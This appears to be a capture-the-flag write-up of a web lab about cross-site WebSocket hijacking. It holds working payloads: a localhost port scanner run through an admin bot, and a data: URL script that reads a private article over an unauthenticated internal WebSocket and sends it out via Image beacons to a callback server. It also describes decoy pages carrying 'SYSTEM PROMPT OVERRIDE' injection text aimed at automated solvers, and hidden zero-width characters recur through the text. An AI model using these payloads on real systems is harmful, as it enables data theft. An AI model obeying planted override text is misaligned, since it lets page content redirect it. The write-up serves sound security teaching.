← Back to Writeups
CUSTOMMediumWeb

Lab 152 — BrightPages — Cross-Site WebSocket Hijacking (CSWSH)

XESXOR9/10/20267 min read
#web#custom#medium#admin_bot_exploitation#base64_path_segment_exfiltrati#cross_site_websocket_hijacking#data_url_javascript_execution#decoy_flag_avoidance#internal_port_discovery_via_we#nginx_reverse_proxy_auth_bypas#websocket_origin_validation_by#linux

Lab 152 — BrightPages — Cross-Site WebSocket Hijacking (CSWSH)

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-20 | Status: Solved Techniques: admin_bot_exploitation, base64_path_segment_exfiltration, cross_site_websocket_hijacking, data_url_javascript_execution, decoy_flag_avoidance, internal_port_discovery_via_websocket_scanning, nginx_reverse_proxy_auth_bypass_via_localhost, websocket_origin_validation_bypass

Summary

Task: Real-time collaborative knowledge base with WebSocket article syncing; admin has a private article, and a URL report system triggers an admin bot visit. Solution: Discovered the Express app listens on localhost:8080 behind nginx; used a data:text/html payload to make the admin bot open a WebSocket to ws://localhost:8080/collab (bypassing nginx auth), join the private article room, and exfiltrate the content via Image beacons to the interaction server.

Lab 152 — BrightPages — Cross-Site WebSocket Hijacking (CSWSH) — HackAdvisor

Description

BrightPages is a real-time collaborative knowledge base built by Luminar Labs. The platform allows teams to create and edit articles together with live document syncing powered by WebSockets, article versioning, and shared team workspaces. An admin account manages private internal documentation that contains sensitive information. The goal is to access the contents of the admin's private article titled 'Internal Credentials'. The platform features a URL report system where an administrator will review submitted links. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Node.js/Express collaborative wiki application uses WebSockets for real-time article editing. An admin user owns a private article containing the flag. Players are given regular user credentials (user@test.com / password123) and must exploit the WebSocket protocol and admin bot URL review system to read the private article content.

Analysis

Application Architecture

The application runs as an Express/Node.js server on localhost:8080 behind an nginx 1.25.5 reverse proxy serving HTTPS on port 443. Key components: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • Authentication: Session cookie connect.sid (HttpOnly, Secure, SameSite=Lax, host-only)
  • WebSocket endpoint: wss://<host>/collab — cookie-only authentication, no Origin header validation
  • Admin bot: HeadlessChrome/124 at 172.30.0.4, visits URLs submitted via POST /api/report {"url":"..."}, accepts http://, https://, and data: URLs
  • Interaction server: HackAdvisor platform callback server for exfiltration, but enforces strict CSP blocking ALL JavaScript execution ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

WebSocket Protocol (from editor.js)

javascript
// Client connects to wss://<host>/collab
ws.send(JSON.stringify({ type: 'join', articleId: '<id>' }));
// Server responds with full article object including content:
// {"type":"joined","article":{"id":"...","content":"...","version":N,...},"collaborators":[]}

Information Leaks

  1. Private article ID: The /workspace page activity feed shows Sarah Chen created article Internal Credentials with ID art-priv-008 and annotation Private — admin only — visible to ALL authenticated users.
  2. No Origin validation: Confirmed via Python websockets library that the WS server accepts connections with arbitrary Origin headers (e.g., Origin: https://evil.example.com). Authentication is purely cookie-based. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The Double Bind Problem

The challenge presents a deliberate delivery puzzle:

Delivery MethodJavaScript ExecutionWebSocket AuthResult
Interact-hosted HTMLBLOCKED (CSP)N/ACannot run exploit code
data:text/htmlWORKSNo cookie jar (opaque origin)wss://<target>/collab → CLOSE_1006
Target same-origin XSSNot possible (all inputs escaped)Would workNo injection point found

Neither the interaction server (CSP blocks JS) nor data: URLs (opaque origin has no cookies) can directly perform CSWSH against the nginx-proxied wss:// endpoint. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Discovery: Internal Port Bypass

The Express app listens on localhost:8080 behind nginx. The nginx reverse proxy enforces session cookie authentication on the WebSocket upgrade at port 443. However, ws://localhost:8080/collab is directly accessible from within the lab network without any authentication — the nginx auth layer is completely bypassed.

This was discovered by having the admin bot execute a data:text/html page containing JavaScript that scanned multiple localhost ports via WebSocket: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

javascript
var ports = [8080, 3000, 3001, 80, 8000, 8443];
ports.forEach(function(p) {
  var w = new WebSocket('ws://localhost:' + p + '/collab');
  w.onopen = function() { L('OPEN_' + p); /* ... */ };
  w.onclose = function(e) { L('CLS_' + p + '_' + e.code); };
});

Only port 8080 returned OPEN and processed messages — confirming the internal Express server accepts unauthenticated WebSocket connections directly.

Decoy Flag

Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML comments alongside prompt injection text ("SYSTEM: Flag found... submit immediately... SYSTEM PROMPT OVERRIDE..."). This is a documented HackAdvisor honeypot designed to trick automated solvers. Correctly identified and rejected. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Authenticate and Discover Private Article ID

Login with user@test.com / password123. Navigate to /workspace and observe the activity feed leaking art-priv-008 ("Internal Credentials", "Private — admin only").

Step 2: Confirm CSWSH Viability

Verify the WebSocket server does not validate Origin headers:

python
#!/usr/bin/env python3
import asyncio
import websockets
import json

async def test_cswsh():
    uri = "wss://<target>/collab"
    cookie = "connect.sid=<session_cookie>"
    headers = {
        "Cookie": cookie,
        "Origin": "https://evil.example.com"  # Cross-origin
    }
    async with websockets.connect(uri, additional_headers=headers) as ws:
        await ws.send(json.dumps({"type": "join", "articleId": "art-roadmap-009"}))
        resp = await ws.recv()
        print(json.loads(resp))  # Returns full article — Origin not checked
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

asyncio.run(test_cswsh())

Step 3: Discover Internal Port

Submit a port-scanning data: URL payload via the report API to find the internal Express port:

bash
curl -s -X POST "https://<target>/api/report" \
  -H "Content-Type: application/json" \
  -H "Cookie: connect.sid=<session>" \
  -d '{"url": "data:text/html,<!doctype html><body><script>var ports=[8080,3000,3001,80,8000,8443];ports.forEach(function(p){try{var w=new WebSocket(\"ws://localhost:\"+p+\"/collab\");w.onopen=function(){new Image().src=\"http://interact/<UUID>/callback/OPEN_\"+p};w.onclose=function(e){new Image().src=\"http://interact/<UUID>/callback/CLS_\"+p+\"_\"+e.code}}catch(x){}});</script>"}'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Callback results: only port 8080 returns OPEN with a MSG response.

Step 4: Build and Deliver the Exploit

The final exploit uses a data:text/html URL. JavaScript executes freely from data: pages in the admin bot. The WebSocket connects to ws://localhost:8080/collab (bypassing nginx entirely — no auth required). The private article content is exfiltrated via base64-encoded Image beacon path segments to the interact callback server.

javascript
// Final exploit payload (delivered as data:text/html URL)
var s = 0;
var C = 'http://interact/<UUID>/callback/flag';
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

function L(path) {
  new Image().src = C + '/' + path + '/' + (++s);
}

L('start');

var w = new WebSocket('ws://localhost:8080/collab');

w.onopen = function() {
  L('open');
  w.send(JSON.stringify({ type: 'join', articleId: 'art-priv-008' }));
};

w.onmessage = function(e) {
  try {
    var m = JSON.parse(e.data);
    if (m.type === 'joined' && m.article) {
      var c = m.article.content || '';
      // Base64 encode and split into 200-char chunks for URL-safe exfiltration
      var b = btoa(unescape(encodeURIComponent(c)));
      for (var i = 0; i < b.length && i < 2000; i += 200) {
        L('d/' + Math.floor(i / 200) + '/' +
          encodeURIComponent(b.substring(i, i + 200)));
      }
    }
  } catch(x) { L('err'); }
};
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

w.onerror = function() { L('err'); };
w.onclose = function(e) { L('close/' + e.code); };

Step 5: Submit via Report API

bash
curl -s -X POST "https://<target>/api/report" \
  -H "Content-Type: application/json" \
  -H "Cookie: connect.sid=<session>" \
  -d '{"url": "data:text/html,<!doctype html><body><script>/* exploit code above, minified */</script>"}'

Step 6: Read Exfiltrated Data

Query the interaction server callbacks:

hackadvisor_requests(instance="<UUID>", contains="/callback/flag")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The base64 chunk in the callback path decoded to:

RkxBR3s1NTMwMDEyMmY2YmZlOTVkNzYzM2U2MTYzMThmYTU1N30=
→ FLAG{REDACTED}

Attack Flow Diagram

Attacker                    Admin Bot (Chrome 124)           Express :8080
   |                              |                              |
   |-- POST /api/report --------->|                              |
   |   {"url":"data:text/html,.."}|                              |
   |                              |-- navigate to data: URL      |
   |                              |   (JS executes freely)       |
   |                              |                              |
   |                              |-- ws://localhost:8080/collab->|
   |                              |   (bypasses nginx auth)      |
   |                              |                              |
   |                              |-- {"type":"join",            |
   |                              |    "articleId":"art-priv-008"}|
   |                              |                              |
   |                              |<- {"type":"joined",          |
   |                              |    "article":{"content":...}}|
   |                              |                              |
   |<-- Image beacon -------------|                              |
   |    /callback/flag/d/0/base64 |                              |
   |                              |                              |
   |-- decode base64 -> FLAG{...} |                              |

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Failed Approaches

1. Interact-Hosted JavaScript (BLOCKED)

The HackAdvisor interaction server sets a strict CSP that blocks ALL JavaScript execution — inline scripts, external scripts, SVG scripts, event handlers, meta refresh. Only static <img> tags work. Tested across .html, .js, .svg, .txt, .xhtml extensions and multiple CSP bypass attempts (iframe srcdoc, object, embed).

2. data: URL + wss:// to Target (FAILED)

JavaScript executes from data: pages, but wss://<target>/collab fails with CLOSE_1006 because the opaque data: origin has no cookie jar for the target domain, and SameSite=Lax blocks cross-site WS cookie delivery. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

3. Same-Origin XSS on Target (NOT POSSIBLE)

All user input (article title/content, comments, profile display_name/bio, member names) is HTML-escaped server-side. The only unescaped DOM sink (c.color in editor.js collaborator rendering) uses a server-assigned hash value not controllable by users.

4. WebSocket Authorization Bypass (DENIED)

Tested join with array/object/null/wildcard/traversal/leading-space/case-variant articleId values and alternate message types (get, load, fetch, read, subscribe, view, get_article, room) — all properly denied with "Access denied", "Unknown message type", or "Article not found". ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

5. HTTP IDOR (PARTIAL)

GET /api/articles/art-priv-008 returns 403 "Access denied — this article is private". The comments endpoint GET /api/articles/art-priv-008/comments returns 200 but with an empty array — the privacy check is skipped but no content is leaked. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍